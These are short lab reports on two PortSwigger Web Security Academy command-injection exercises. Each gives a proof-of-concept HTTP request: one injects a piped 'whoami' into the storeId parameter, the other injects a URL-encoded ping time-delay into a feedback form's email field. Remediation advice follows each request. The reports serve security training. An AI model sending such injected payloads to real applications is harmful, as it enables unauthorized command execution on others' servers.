PORTSWIGGER WEB SECURITY ACADEMY

OS Command Injection Concise Reports (Lab 1 & Lab 2)

Lab 1: OS Command Injection, Simple Case

Vulnerability Type	OS Command Injection (In-Band)
Severity	CRITICAL
Vulnerable Parameter	`storeId` (POST request)
Assessor	Rachit Dhyani

Objective & Concept

Inject shell command separators into the stock check function to execute arbitrary OS commands and read system information.

Proof of Concept (Payload)

```
POST /product/stock HTTP/1.1
Host: target-app.web-security-academy.net
Content-Type: application/x-www-form-urlencoded

productId=1&storeId=1|whoami
```

Impact & Remediation

- **Impact:** Full server takeover, unauthorized system command execution under the web server's user privilege context.
- **Remediation:** Avoid calling shell execution functions directly; use built-in API mechanisms or strict parameter validation.

Lab 2: Blind OS Command Injection with Time Delays

Vulnerability Type	Blind OS Command Injection
Severity	CRITICAL
Vulnerable Parameter	`email` (POST request in Feedback form)
Assessor	Rachit Dhyani

Objective & Concept

Trigger a time delay response to confirm command execution when command output is not directly returned in the HTTP response.

Proof of Concept (Payload)

```
POST /feedback/submit HTTP/1.1
Host: target-app.web-security-academy.net
Content-Type: application/x-www-form-urlencoded

csrf=token&name=Tester&email=x%7Cping+-c+10+127.0.0.1%7C&subject=Test&message=Test
```

Impact & Remediation

- **Impact:** Arbitrary remote command execution via asynchronous background tasks.
- **Remediation:** Implement strict input whitelisting and avoid executing shell commands with user-controlled input.